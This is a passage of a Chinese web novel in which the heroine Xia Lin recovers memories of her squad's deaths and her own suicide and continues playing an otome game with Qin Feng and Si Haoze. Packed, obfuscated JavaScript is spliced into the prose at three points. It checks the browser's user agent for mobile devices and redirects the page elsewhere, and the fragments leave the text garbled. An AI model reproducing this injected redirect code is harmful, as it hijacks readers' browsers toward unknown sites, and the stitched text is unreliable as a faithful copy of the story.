高大的军装男人小心翼翼地从身后拿出一直藏着的草莓小蛋糕,放到了前方的桌前,为这精致的小东西安全送达而松了一口气。他苦笑一声:“只是他们几个不知道,其实是琳莎收到了晋升通知。你知道的,她家族背景强势,人也有能力,上头怎么会放任她一直在危险的前线?再过最多一个月,可能正式调令就来了吧。在所有人里面,琳莎她一直是最喜欢您的。” “我们队伍里都是些懂事的好孩子。虽然在您面前没有表现出来,但大家私下聊天的时候,确实几乎所有人都在为您不值。只是,那终究是您自己的选择,大家也会尊重您。” “不过就算琳莎调走了,估计她也会一直记得您的。这可有前车之鉴,还记得两年前调走的那马朝小子不?上周我出去巡逻时遇到了,还说了好几遍一定要替他向您问好呢。” “还有卓理、徐璐、关砚霆……” 皮肤黝黑的年长军人絮絮叨叨地说了很久,念到那几个名字时,眼中流露出几分怀念。 末了,他开口道: “上尉,不管您是怎么想的,前线会一直记得您的努力和付出。因为这里就是这样的地方。” 男人抬起头与夏林对视,向她郑重其事地行了一个军礼: “我始终为遇到您这样的长官而骄傲。” 这句话像是印在了夏林的心里。 她忽然觉得眼角有些酸涩,心头像是压上了一块巨石一般难以喘息。 她觉得自己似乎和其他人不太一样。 一直以来,她的行动标准都很简单。 有恩报恩,有仇报仇。 希望自己心里珍惜的那些人能够幸福快乐,平安顺遂。 可其他人是不一样的。 夏璃说着“想要有更多的时间和姐姐在一起”而进入了军校,可最后却不是这样。 即使在军校里像在别墅一样,自己对待夏璃的方式态度始终没变,但终究和别墅里的时候是不一样的。 她不会开心于只有自己呼唤她的名字。她需要的是更多人。 那么,眼前的这些人是否某一天也会像夏璃一样?即使现在说着对她的决定“尊重与理解”,到最后也会觉得不够呢? 毕竟人本能上就会期望拥有更多的东西。 所以夏林曾经不止一次地在心里这样想过。 【不要对她这么好。】 她会觉得自己没有办法“还”。 · 周围的场景在夏林的茫然中悄无声息地改变了。 一个陌生而又熟悉的女声传入耳中: “上尉,今天巡逻任务的返航路线会经过西比尔星,时间很充裕,我们在回来的路上去星际港口的集市逛逛吧!我们队都好久没经过什么热闹的地方了。” 身穿军装的红发女生正努力睁着一双水汪汪的大眼睛双手合十可怜巴巴地看着夏林。 周围的布置像是在某艘星舰的指挥室内,周围还能看到次级操作台前的其他军人。 面前的红发女生很明显是装的,但这个表情也有十分卖力地在表现“可爱”。 夏林不自觉地笑了一下。 红发女生也跟着笑了起来, 虽然不记得自己当时的回答,但从她转为喜上眉梢的表情也能知道她得到了什么答案。 红发女生转身朝后面的各块联络电子屏大喊一声: “速报!上尉同意咯!抵达西比尔星后有四个小时,大伙准备降落去吃大餐体验‘人类生活’了!” “好耶——!” “玥儿,你等会才是去过‘人类生活’的话,你之前是在过什么生活?小猪生活吗?” 红发女生叉腰骂了一声: “去你的。本小姐三餐不同口味的能量棒都要吃吐了,牛马都比我们待遇好。” “……” 舰队在指挥室的欢声笑语中顺利着陆。各个舰内的军人还算有秩序地从门口鱼贯而出,但在脚尖接触到地面的一瞬间就原形毕露。 几乎是一眨眼的工夫就淹没在了来往人潮中。 之前那个皮肤黝黑的年长男人是最后出来的,一见这场面,冲着夏林所在的方向笑着耸了下肩。 这是一个风和日丽的午后,阳光透过防护罩洒在身上暖洋洋的。热闹的集市早已挤满了星际旅客和各处的商贩。夏林顺着人潮一路往前走。 面前明明是十分平和的画面,夏林却忽然打了个寒颤。 虽然还没有想起任何东西,她觉得这条街有一种莫名的熟悉感。 二手引擎,能量站,面馆,甜品店,然后前方是…… 路口站着一个提着金属箱的军服男人。 眼前陆续出现的场景与她脑海中浮现的设想完全一致。 夏林微微张了口,一时间忘记了呼吸。 心脏在胸腔内的跳动声尤为明显。 好像有哪里不对。 记忆里的“夏林”一直看着那个在集市里提着不和谐金属箱的军服男人,显然也是引起了她的注意力。 只是“夏林”刚朝那个人的方向走了没几步,他就转身朝着另一条路走了过去。 “夏林”跟了上去。 两人的路径逐渐离开了人潮,向着僻静的小路而去。 身穿帝国军服的男人提着一个明显是为了屏蔽扫描的金属箱子,行迹可疑。 目前作为帝国前线军官的“夏林”跟上去似乎没什么问题。 “夏林”一直保持着一个安全的跟踪距离。前面的军人没有发现后面的跟踪者。 可心中这股愈演愈烈的不安让她攥紧了拳。 就在窒息感即将达到顶峰之际。 忽然,“夏林”停了下来,然后转了身,朝着相反的方向快步原路返回。 夏林很快就知道了“她”放弃跟踪行动的原因。 快步绕过几条小巷,距离军人位置相当远即将走入大路之时,“夏林”拿起设置为静音提示的光脑接起了一个视频通讯。 一打开就从对面传出了吵吵闹闹的声音: “啊!上尉,怎么这么迟才接!是不是在偷吃什么好吃的?”之前被唤作“玥儿”的活泼红发女生从通讯画面里朝着这边左看右看。 “嗯?上尉你这是在哪呢?看上去有点偏……” “喂,说重点。只有四个小时,上尉也需要自己的放松时间好吗?废话回去再说。” 忽然通讯画面忽然被另一个戴眼镜的男生占据: 这个看上去沉稳许多的男生立即说明了视讯的来意: “上尉,是我们遇到了一个饰品小贩,有许多其他星球的宝石,价格很便宜,所以就想给大家都带一个回去。上尉你喜欢什么样子的?给您看看,挑一下。” 通讯画面刚在琳琅满目的宝石摊位上停了几秒,又被人一把挪到了旁边。 纤细雪白的脖颈上戴着一条椭圆形的蓝宝石坠子,再往上是褐色的短发。 从画面外传出先前红发女生的声音: “哦对了,琳莎选了这条蔚蓝色宝石的坠子,她说在阳光下和上尉您的眼睛颜色很像。不过我是觉得这颜色有点深了啦……小贩说它还有个名字呢,叫‘达克里亚’,是眼泪的意思!” 画面震了一下,视讯的镜头坏心思地往上了一点,露出了当事人绯红的面颊。 “喂你胡说什么呢!我,我是因为……” 夏林没有继续听后面的话。 正前方不知何时出现了一个全身笼罩在灰色兜帽长衫里的人。 那个人由远及近,从身旁擦肩而过。 因为对方并没有可疑的动作,战时状态的前线星球笼罩在长衫下打扮的普通人也不算是罕见。记忆里的“夏林”只抬头看了对方一眼,并没有其他行动。 夏林心底的不安在此时达到了顶峰,浑身的血液仿佛在瞬间冻结。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112206|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>脑海中不断有意义不明的念头冒出: 【不能让他走。】 【一定要留住他。】 【否则的话……】 大量混乱的思绪在一瞬间齐齐涌入了大脑。夏林头疼欲裂,四周的场景在虚实之间来回变换。 明知过去的记忆无法被改变,但强烈的念头竟让夏林真的做出了回头拉住人的动作。 可传入手中的触感却像是…… 军服。 夏林愣了一下,缓缓抬起了头。 映入眼帘的是方才见过的灰色兜帽长衫,但此时已变得残破不堪。她拽起衣襟的动作恰好让兜帽滑落。 露出了下方那一张血肉模糊的脸,以及下方眼熟的深蓝色帝国军服。 “所以,你那天为什么要去那里?夏林上尉。” 灰色兜帽人有些喑哑的声线说出的话语宛如一记重锤落在了心头。 夏林死死地盯着那张血肉模糊的脸,右手手指因用力而泛白。 脑海中闪过的一些片段逐渐串联拼凑在了一起。 她手下不自觉地用力,而对方丝毫不受影响,开口说出了下一句话: “如果你没有那么‘好奇’,那些人也没必要死了。” 夏林浑身一震。 “上尉,你才是他们的死因啊。” 她缓缓低下了头,拽着兜帽人衣襟的手一松。 她的掌心里不知何时已经躺着一条血迹斑斑的蔚蓝色宝石坠子。 忽然心痛到无法呼吸。 那段最沉重的记忆被翻了出来,从眼前潺潺流过。 · “上尉,包括凌玥儿在内的三队所有人在十分钟前失去了联系!” 戴着眼镜的军服男生从办公桌前闻言抬起了头,不甚在意: “大概是被附近什么磁场影响了吧?上尉,我记得玥儿是去EP46752巡逻了?那都是老路线。” “不对!三小队队员开始陆续失去生命信号!” 方才还风轻云淡的眼镜男表情骤变,猛地站起身离去: “把她失去联络前的最后坐标发我,我去看看。” · 再次出现的眼镜男眼底布满了血丝,胡子拉碴整个人乱糟糟的,完全看不出先前沉稳的模样。 “上尉,你也知道那里根本不是星盗会出没的坐标……那一天绝对有什么问题。我们现在需要的是详细调查!而不是什么乱七八糟的……” 话还没说完,旁边皮肤黝黑的年长男人抬手给了他一巴掌,怒道: “冲上尉吼什么?玥儿的事,这里是只有你一个人不好受吗?可我们是军人,军人要优先执行命令!” 他说完抹了一把脸,深吸了一口气转头道: “上尉,傅周瑜这小子已经三天没合眼了,状态不好。今天东部的日常巡航,我带人去吧。” · 下一个画面里,硕大的星舰指挥室,亮着的电子屏悄无声息地又暗了一面。 这次说话的是短发的琳莎: “上尉,我听说你以人员不足的理由已经拒绝了三次军部的命令。我们队伍虽然现在……”她看了一眼右下角那几个黑屏的线路画面,沉默了几秒,声线不自觉地转低:“但那些简单的任务还是可以的。” 她望过来的眼神有些担忧:“而且如果军部判定您拒绝任务的理由不充分,后果最严重可能会将您革职移交军事法庭。” “这样吧,这次的任务我会全程与您保持视频通讯。之前他们的事我知道也有许多疑点,如果是军……我们需要更多的线索。” · 再次出现的琳莎换了一身战斗军服,坐在机甲控制台前通过视频通讯向夏林汇报:“一切正常,预计会在1小时14分后抵达目标位置。” 这句话刚说完没多久,她看向某个面板的眼神忽然一沉: “等等,上尉,我发现军部这次的任务里接入的光脑地图似乎有问题!我已经传给你了,你看,乍一看首尾以及路线轨迹形状都是正常的,但实际上倾斜角有一点细微的偏差,军部光脑系统的设置路线轨迹是比正常计算出的路线更大一点点的弧度。” “所以我们现在的位置其实已经偏……” 视讯中断了。 · 明月高悬的夜晚,但狭窄幽深的小巷内依然照不进任何光亮。 “夏林上尉,杀了我能让你心里舒坦吗?你知道的,我也只是执行命令对那天的事情进行如实汇报而已。” 身穿帝国军人浑身是血地躺在地上,身上的混乱显然经过了一场激烈的反抗打斗。 他大喘着气,用最后的力气扯了下自己绣有帝国标志的军服领口,咧嘴一笑: “我并不是你最后的敌人。” “对了,听说有其他队申请了与你的队伍合并?申请人还挺多,不愧是前线的‘明星’军官。人缘不错啊。我想想,好像是F746的卓理,T983的徐璐,T456的关砚霆……” “你猜猜,下一个会是谁呢?” 话落一声枪响,地上残喘的军人已经再无生息。 做完这一切的夏林深吸了一口气,倚靠在墙上打开了她的光脑。 军部系统的页面,在她的部队编号下,军官组织结构图里只有她一个人。 曾经填满那些位置的名字已全部消失,留下了大片大片刺痛眼球的空白。 那双蔚蓝色的眼眸里再也没有一丝光亮。 到底是从哪里开始出了问题呢? 那天,她只是偶然同意了队员们的停靠休息请求。 在跟踪察觉到不对劲之后,也有立刻返回。 是因为没有发现那个经过的兜帽男人吗?可他不是受过正规训练的帝国军人,后来查实他只是被军部赋予“特殊任务”的普通人,她没有这个能力立刻分辨出来。 感觉自己从头到尾好像没有做错任何事。 可又一次地。 她的存在,只会给她珍惜的人带去不幸。 夏林疲惫地闭上了眼。 或许有问题的,果然是她自己吗? 一分钟后。 隐没在黑暗中的小巷里,一声枪响震耳欲聋。 失去支撑力而垂直落下在地面上滚落的光脑不断闪烁。 上面显示的是: 【通讯请求:秦封。】 35. 司昊泽1 睁眼后的短暂失聪让整个世界的声音被屏蔽了几秒。 发霉的白色天花板拐角处结着厚厚的蜘蛛网。一只手从边上伸出,挡住了夏林的视线。 那是一只宽大而有力的手。骨节分明,上面包裹着厚薄不均的老茧,还带着几处陈年的疤痕。 是一只属于军人的手,亦或是接受过艰苦体能训练的某个人。 在脑海中作出冷静判断的夏林眼也不眨地盯着看。直到边上一个男声突兀地闯入了这个无声的世界。 “喂,你这赤脚医生水平没问题吧?人是醒了,可她这眼神怎么直愣愣的?别是有什么后遗症吧?” 她记得这个声音。 另外一个陌生的女声不耐烦地响起: “少在这里狗叫。她现在就是有点脑震荡和一些骨折加外伤,都是小问题能有什么后遗症?管你相信不相信,现在因为那一个巨蛋场馆的爆炸,治疗舱紧张着呢,醒了立马给我走人。还有,说好的钱可一分都不能少。” “你一个医生张口闭口都是钱能行吗?我哪一次欠过你钱?走就走!” 话落,视线中的那只手又朝着她的身侧—— ——被中途挡了下来。 夏林抬手制止了对方像是要抱起她的动作,清晰地唤出了对方的名字: “……司昊泽?” 身穿黑色夹克衫的红发男人一愣,随即眉眼一弯,露出了一个标准笑容: “小学妹终于清醒了?刚才你一直没回神,还担心你有什么没被检查出来的暗伤,想带你去大医院看看呢。” 夏林定定地看着这个男人,与其相关的记忆在脑海中一晃而过。 他是…… 就在对方被自己的视线盯得几乎要挂不住脸上的表情时,夏林收回了目光,直接从治疗舱里坐了起来,然后立即感觉到身体躯干的某个部位传来了痛感。 下意识皱眉之余,发现旁边的司昊泽正维持着一个伸出双手像是要搀扶她的动作。 两人目光相接,司昊泽丝毫不尴尬,而是自然地将双掌交叠,转而做了一个鼓掌的动作,笑道:“……学妹的恢复力真厉害。” 夏林吐了一口气,用手撑着治疗舱的两侧,一用力想要站起却在起身的一瞬间晕眩了一下,整个人踉跄刚要往一侧倾倒,就被身旁的司昊泽稳稳地扶住。 “……小心。” 夏林借力撑了一下,平稳之后向他道谢:“谢谢。” 身旁的司昊泽盯着夏林看了一会,开口说:“你现在真的没事?” “没事。那个医生说的没错,现在都是小伤。”夏林抬手按了一下自己先前传来痛感的部位,说完后抬头与身旁人对视:“现在有更紧急的事。” 司昊泽眸光一暗,挑了下眉:“你说得对。”话落侧身做了一个“邀请”的动作。 夏林顿了一下,朝着他动作指引的方向走去。 走出这个破旧狭窄的房间到走廊上才发现,她目前所在的地方比起说是医院,更像是一个居民楼。 而且是最古老的那种依靠楼梯上下,未安装电梯的六层老式楼房。 夏林他们目前是在第三层。 一层仅有两个门。夏林走出来时隔壁正好是开着门的状态,她往里面望了一眼。 与她方才所在的房间构造和大小基本一致,但里面摆了三个治疗舱,显得十分拥挤。 难怪刚才那个医生一直催促她“出院”。看来是司昊泽不知道用了什么办法硬生生地给她整了个“单人间”。 沿着外侧楼梯走到底竟然直接就到了大街上。但这条街与先前夏林记忆里去过的街区不一样,显然更为破旧与衰落。墙壁上满是各种意义不明的涂鸦,街上的店面门漆也呈现出褪色后的斑驳。 夏林不动声色地跟着司昊泽的脚步走。她在醒来的时候就发现自己身上已经不再是那身天宿军校的军校生军服,取而代之的是一件过于宽大的黑色连帽卫衣和长裤。 在走出治疗舱所在的房间时,身后的司昊泽拉起了她的帽子,遮住了她那头在这里十分显眼的金发。 即便如此,依然能感受到街角两侧时不时传来一些打量的目光。 两人越走越偏。直到司昊泽在一户看似随处可见的房屋外停下了脚步。 司昊泽熟门熟路地按了门铃按钮,然后朝着门外摄像头的方向抬了抬头,露出了样貌。 门很快就开了。是一个皮肤黝黑的小男孩。 他抬头仔细地看了看司昊泽,又望了一眼后面跟着的夏林,把门放开了能供一人通过的缝隙。 待两人都走入后,他走出门警惕地看了看门外,重新又把门关上。 夏林默不作声地看着男孩这一连串动作,微微垂下了眼睫。 男孩并没有带着两人进屋,而是绕到了后院。拨开用作掩饰的草坪后,出现了一个往下的台阶通道。 男孩示意他们进入。 司昊泽没有半点犹豫地走了下去,夏林进入后注意到男孩并没有一起跟上来,而是在他们后面重新关闭了入口。 幸好两侧的墙壁上镶着发光的萤石,通道内并不算太暗。 两人一前一后走着。 在间歇的脚步声中,司昊泽蓦地开口: “小学妹胆子真大。一路上居然什么都没有问?你就不怕我现在把你带去卖了吗?” 听见这句话的夏林表情丝毫没变,从容答道: “如果你真有这个打算,应该在我昏迷的时候就已经完成交易了。根本不需要等我醒来。” 两人一问一答: “你就不想问问我们现在是要去哪?” “之前不是已经说了吗?现在有‘更紧急的事’。” 前方司昊泽脚步突然一停。 夏林也随之停了下来。 司昊泽转过身,望过来的眼眸中带着一丝探究:“我怎么觉得小学妹你……好像有点不太一样了?” 夏林微微抬头与之对视,冷静开口:“是吗?” 光线不足的地下通道内,两人的影子在墙壁上交错。 又摇曳了一瞬。 司昊泽忽然抬手按下了墙壁上的某块石砖,一阵声响过后,旁边出现了一条向上的阶梯通道。 他做完这个动作后朝着夏林勾唇一笑:“走吧?”整个人又恢复了之前的态度。 仿佛前一个问题没有出现过一般。 这条向上的阶梯通道比之前的纵横蜿蜒许多,等到两人推开尽头的门回到地面,眼前就是一架停在树下的飞行器。 司昊泽绕着飞行器走了一圈,检查完重要设备确认没有问题后示意夏林上去。 两人很快启动了飞行器,朝着某个方位高速飞行。 只经过了十几分钟就开始了降落。 司昊泽望了一眼旁边夏林没有意外的表情,眸光一闪,开口问道:“学妹是认得刚才那个地方?” 夏林摇了摇头:“不认识,第一次去,”她顿了一下,补充道:“但刚才那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她嘴唇翕动,许久后才组织了语言开口说:“所以这次也攻略失败了吧。” “是。” “你之前曾说会在我‘危险的时候’出现。但这次发生了那样的爆炸,你并没有现身。”夏林顿了一下,再次开口:“……原来你早就知道我会在这次爆炸中存活。所以这并不算危险的时候?” 身后没有传来回应。 夏林问:“你也早就知道纪承英会在这次爆炸中变成这样?” 那个低沉的声音终于再次响起: “能够进行游戏的,只有你一个人。” 夏林猛地转过身,向前了几步逼近秦封:“可是你之前已经干涉了我的很多行动。这一次纪承英的好感度已经有100,只要不发生意外就可以顺利进入结局。你曾明确说过只要我达成结局就可以离开这个乙女游戏。但现在想来,那只是我的想法。你从来没有说过你的期望。” 夏林循序渐进,咄咄逼人:“你在这个乙女游戏里的期望是什么?你真的是只是想控制我达成某一个特定的结局吗?因为纪承英不是你想要的那个结局?现在只剩下司昊泽了。这才是你想要的?” “不。” 最后的几个问题像是触动了什么,秦封反驳得极快。 但说出这个字后,他又抿紧了唇,像是在斟酌着什么: “……我也和你一样。” 秦封再次开口: “我希望你能够尽快离开这个游戏,回到现实。” 空旷的病房让这句话的每一个字都出落得十分清晰。 而听到这句话的夏林终于可以确定。 眼前的这个秦封是他本人,不是什么AI。 而秦封也很显然知道。 现实里的她已经在那个黑暗的小巷中选择了自杀这个事实。 36. 司昊泽2 所以为什么秦封会在这里? 夏林一瞬间在脑中闪过了许多理由,然后又一一被她否决。 她现实里所属的部队与秦封相差十万八千里,且没有记错的话,他们自从毕业后就没有再有过交谈了。 若是她的自杀案件相关……应该也不至于让一个前途光明即将成为少将的青年军官来负责这种烂摊子。 夏林忽然想到了什么,表情一怔。 现在想想,之前她“失忆”的时候,秦封对待她的态度似乎有点…… “夏林?” 前方响起的男声唤回了夏林的思绪。她回过了神,抬头复杂地看了一眼面前的黑发男人,将想好的话说了出口: “如果你真的希望我能尽快达成结局回到现实的话,就像白川那个时候一样经常出现告诉我情报,不要动不动就失踪。” 因为她在这个游戏里无法主动找到秦封,除非他自己出现。 她还不知道秦封出现在这里的理由,一直看不到人可不行。 听到这句话的秦封表情罕见地愣了一下,迟疑开口:“……我以为你并不想看到我。” 两人的目光在空中交汇了一瞬。 夏林一直知道秦封是个很敏锐的人。之前“失忆”的她对秦封的态度十分抵触,现在纪承英这条线也在秦封的“干涉”下失败了,这个时机主动提出要多多相处是有些不自然。 但此时她已经不是那个失忆的军校生夏林了。 夏林抬起头迎着这道带着几分审度的视线,坦然地顺着说了下去: “是啊,即使不想看到你,你也会不知道什么时候就自己出现。” “与其让你‘随心所欲’,我一直面临‘突如其来’。还不如让我早就有个心理准备比较好。这样对我更有利不是吗?” 金发少女表情冷淡,吐露出的话语更是冷漠无情。仿佛两人之间没有半点交情。 秦封盯着她看了一会,缓缓开口:“……我知道了。” 没有一丝异议就接受了自己工具人的身份。 这还是以前那个什么都要跟她争一二的秦封吗? 夏林转过身背对着秦封,佯装查看纪承英的医疗仓数据。 果然秦封现在对她的态度很奇怪。 是因为在他的认知里,她还是那个失忆的军校生夏林吗? 可就算是在他们交流还算密集的军校时期,秦封的态度也从未有过这样……卑微的时候。 她从未想过“卑微”这个词能有一天用到秦封的身上。 在多少已经猜到这个乙女游戏是怎么回事了之后,夏林现在完全能够理解秦封在这里尴尬的立场和身份。 因为这确实是只有她才能进行的游戏。 反倒是秦封一直费心费力给失忆的她传达信息,被怀疑讨厌了之后就不敢出现,即使被冷言冷语反感抵触也要出来阻止她的行动…… 这一切都是为了什么呢?为了让她能走到结局,在现实里醒来? 夏林想到了刚才秦封说的话。 然后陷入了更深的迷惘。 可是他们在现实里,明明已经跟毫无关系的陌生人没什么两样了吧? 他到底是怎么回事? · 秦封看着背对着自己一直沉默的夏林,以为她在为纪承英的事情难过,于是刚打算开口。 门口却传来了验证通过开门的声音,两人齐齐回头。 司昊泽从门口走入,看着里面的夏林一挑眉:“小学妹去了这么久,我还以为自己被用完就丢在停车场了。没想到真的还在这呢?” 话落他将视线扫过旁边的医疗舱,淡淡开口:“他这个状态你看再久也没用。医生说醒来的概率极低,虽然人还活着,可能以后就一直……” 然而这句话还没说完就被人一把拽住了领口。 “我知道,那个巨蛋会场的爆炸和你有关。”夏林紧紧地盯着司昊泽的双眼,按照之前“失忆夏林”的情绪咬着牙一字一顿,“纪承英一直那么信任你,你居然这样对他?” 话音落下,眼前这个高大的红发男子微微低垂了眼睫,一瞬间即使是咫尺距离的夏林也未看清他眼底浮现的情绪。但他很快勾起了唇,抬起下颚露出了一抹嘲讽的微笑: “学妹的意思是,他识人不清,是我的错?” “可是怎么办呢?纪承英也同样很信任学妹你,你又告诉他了什么?” 司昊泽俯身逼近夏林,错身在她的耳旁轻轻开口: “之前在白川那件事上,我们不是在他面前合作愉快吗?” 话落被猛地推开。 司昊泽顺势往后退了一步,抬手整理了一下自己被扯乱的领口,好整以暇地看着眼前的金发少女。 夏林的眉宇间似是笼罩着化不开的阴霾。她盯着司昊泽看了一会,过了几秒开口道:“我想过一会再回去。” 司昊泽一摊手,回得很快:“没问题,”然后还十分贴心地跟了一句,“我去门口等你。”说完就直接在门边按了开门按钮,毫无留恋地踏了出去。 转身关门的时候见夏林抬头还亲昵地冲她摇摇手。 回应他的是夏林的冷漠转身。 但司昊泽也毫不在意。 只是在门即将关上之际,他的视线微动,往病房“空无一人”的另一侧瞥了一眼。 这间病房的隔音极好。夏林用余光瞥见门彻底关上之后才朝安静站在病房另一侧的秦封求证:“那个巨蛋会场的爆炸是司昊泽做的?” 虽然她之前就有猜测,但方才司昊泽的态度又有些奇怪。 “没错。”秦封答得很快。 “……” 得到回答的夏林陷入了沉思。 之前杀了白川的时候,司昊泽非常大方地承认了,显得毫不在意。 这次他话语间虽然也有流露出对纪承英的轻蔑,但却微妙地避开了正面回答。 白川和纪承英这两个角色她在恢复记忆后已经知道是怎么回事,但司昊泽这个角色的存在是…… “司昊泽和之前的白川和纪承英都不同,是个非常危险的人物。你一定要小心。” 秦封的话打断了她的思考。 夏林抬眼看向再次重复之前警示话语的秦封,思忖了一会,开口试探道:“既然他这么危险,这个乙女游戏现在除了司昊泽没有其他可攻略角色了吗?” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦封斩钉截铁的回答让夏林愣了一下。但她很快隐藏了那一瞬间的表情,转而像是玩笑般地开口:“因为有你会帮我?” “不,”秦封那双漆黑的瞳仁里浮现出沉沉的阴影,他继续说道,“即使没有我,你自己也可以。” “……” 他这份笃定又是怎么回事?夏林忍住了自己想要开口追问的想法。 她现在并不在意这个乙女游戏的后续发展。正如秦封所说的那样,恢复所有记忆的她确实有在这个剧情进展下攻略司昊泽的把握。 可她并不想回到现实。 现实里的“夏林”,已经在最后的时间节点完成了她所有该做且能做的事情。 属于她的故事,已经彻底结束了才对。 即使她曾经有过辉煌亦或者被称为“天才”的过去,但当时与她能力不分上下的秦封自己就可以全方位取代她。没有谁是不可替代的。 已经落下的帷幕不该被任何人掀开。 夏林现在要做的,就是找到秦封出现在这里的理由,然后让他回去。 “好,” 少女突然回身,小幅度扬起的金色发丝宛如枝丫间落下的暖阳,那双蔚蓝色的眼眸中直直的映出了面前高大沉默的黑发男人。 “我这次一定会成功的。”夏林望着秦封,一字一顿地说。 离开这里之后,希望属于你的未来晴空万里。 37. 司昊泽3 离开医院后,夏林与司昊泽一同回了天宿军校。 飞行器降落在校门外的时候已是黄昏时分,停稳后夏林往驾驶座的方向瞥了一眼。 接收到眼神的司昊泽心领神会,然后一脸无辜地眨眨眼:“学生不就该好好上学吗?顺带一提,明天就是期末考试哦。学妹都复习完了吗?” “……” 夏林懒得陪他演,直接伸手打开了飞行器的侧门走了下去。 “你去哪?”身后传来司昊泽的呼喊。 “去复习。”夏林头也没回地答。 一路回到宿舍楼走入房间,夏林开了灯在书桌前坐下,打开了光脑。 倒不是真像她和司昊泽说的那样在为了考试复习。那句“期末考试”的言下之意两人都心知肚明。 军校生的期末考试分为理论和实操。其中就有机甲相关的一系列测试。 不知是不是这个乙女游戏故意的剧情设计,之前在白川剧情线里白川隐藏了她的所有机甲实操数据,然后之后的纪承英线的时候又完全没有接触到机甲。 也就是说司昊泽目前虽然知道夏林就是那个特别的人选,但极有可能还没有拿到任何实际的证据。 这也是方才他提起这个“期末考试”的原因。 因为现在白川和纪承英都已经不在了…… 夏林飞快地在光脑上输入关键词“巨蛋会场爆炸”,然后一目十行地浏览相关内容。 官方的媒体报道应该已经被上头知会过,通篇稿子的内容甚至于措辞都大同小异。只是在说会场设备存在巨大安全问题,当天表演能源消耗过大引发了过载,最终导致了爆炸的发生。 死亡人数,受伤人数,预计损失…… 夏林垂眸看着这一个个冰冷的数字。即使清楚地知道这一切只是游戏剧情,但这个剧情的存在意义是因为现实里她…… 此时夕阳已经沉入了地平线大半,深橘色的乏力光亮伴随着傍晚骤降的温度,显得有些压抑。 夏林深吸了一口气,继续不停地翻看光脑上的内容。 翻了接近百页之后,后面每条内容的浏览量已经低到了三位数或是二位数。但其中的某一条长篇大论的帖子却让夏林的视线停了下来。 发送时间是12秒前。 “那天的烟花事件绝不是那么简单的!当天会场外面提前30分钟就截止进场了。我和我女朋友是在开始前20多分钟来的,这也不晚吧?结果门口的人说什么都不让进了,理由也给的很含糊,就只说让我们去申请退票,真是把我们给气得……以前从没有过这样的规矩!我们外面看看至少有三分之一的人被挡了!” “后来演出开始了,大伙看着他们态度这么强硬就逐渐散了。不能在这浪费时间死磕不是?结果我女朋友灵机一动说1公里开外有一栋88层的贸易大厦,高度比那会场高多了,说去那边的景观窗口再用高倍望远镜看。” “我说你是不是傻,现在的烟花不是真放烟花,那都是光脑特殊算法的模拟效果。外头看什么也看不到的,必须要在巨蛋的包厢里看的。结果人死活不肯,我拗不过就跟她去了。” “结果你们猜怎么着?我们烟花确实没看到,但我们看到1架帝国军部的战斗机飞进去了!然后过了好长一段时间,又从里面飞出了3架飞行器!然后后面的事你们就都知道了。” “虽然很庆幸我们没在那里面,但这事实在是……” 【当前内容检测到含有大量不实信息,已被监管者删除。】 夏林还未看完后面的内容,光脑界面的正中央突然弹出了这条提示。 当前正在浏览的页面整个瞬间消失得无影无踪。 …… 夏林动作一顿,微微皱眉。 这条帖子的文字部分没有提到“巨蛋会场爆炸”的任何一个字眼,也因为是刚发出来且没带任何标签所以浏览量低。 本来在那条系统提示出来之前,可信度应该画个问号的。 可这个帖子却被删除了。 所以用游戏的思维来说,刚才看到的内容都是真的吗? 是系统故意给玩家看的线索。 身为当事人的夏林只知道最开始那架军部战斗机的始末,至于后来的三架飞行器应该就是那天持枪寻找他们的不明人物。 等等,三架? 夏林仔细回忆了一会。 她十分确定当时在巨蛋会场内只看到了两架飞行器。所以是有另一台在外围放哨? 这种行动的临场判断尤为重要,在外面放哨的人要判断撤离与否,通常会由职位较高的人负责。 秦封说过那个爆炸就是司昊泽做的,三架飞行器离开后场馆就发生了爆炸,那他必然只有在现场才能抓准这个引爆时机。 所以司昊泽当时是在外面的飞行器还是里面的飞行器? ……线索还是不太够。 夏林看了一眼时间,站起身活动了一下因久坐而僵硬的筋骨。 从白川和纪承英的剧情推测,司昊泽的剧情多半也和她现实里的某些经历相关。 但司昊泽目前为止的行动她即使恢复所有记忆依然毫无头绪,而且她还不知道司昊泽在这个乙女游戏里的真实身份是什么。 仔细想来,他之前的有些行动也很微妙。 比如他明明已经知道要找的人就是夏林,为什么不在昏迷这个绝佳时期就把人带走,还要多此一举地返回学校? 那时甚至失踪理由都不需要找,就当她死在那场爆炸中了。 机甲能力测试无论在哪里都可以测。现在重归了学校,莫名其妙失踪一个学生可能还会有些麻烦。 ……话说回来,她为什么可以这样无事发生地正常返回天宿军校? 夏林动作一顿,后知后觉地才想起来这最关键的一点。 纪承英不仅仅是天宿军校的学生会长,他还是帝国将军之子。这样的名门之后大人物出事了,光脑上的舆论都在被严格把控。夏林这个就在现场的当事人怎么能岁月静好地准备参加期末考试的? 但凡事后查一下巨蛋会场的监控就知道她和纪承英当时进入了同一个包厢。 难道为了剧情发展连基本的事件逻辑都不管了吗? 可是这个乙女游戏之前从未有过这样低级的“缺陷”出现。 ……是她无意中漏了什么关键信息吗?究竟在什么条件下,会产生目前这个状况呢? 夏林眉头紧锁,无意识地在宿舍内徘徊走动。 然而无论怎样缜密思考,依然没有任何结果。 这是一个埋下不安种子的夜晚。 · 次日,正如司昊泽所说的那样,是天宿军校的期末考试。 游戏内的考试和现实里军校的流程基本相同,上午是理论,下午是各种实操。但游戏终究是游戏,并不会强制要求玩家真的参与考试。 所有的考试剧情都有“跳过”的选项,甚至连实操考试也是。 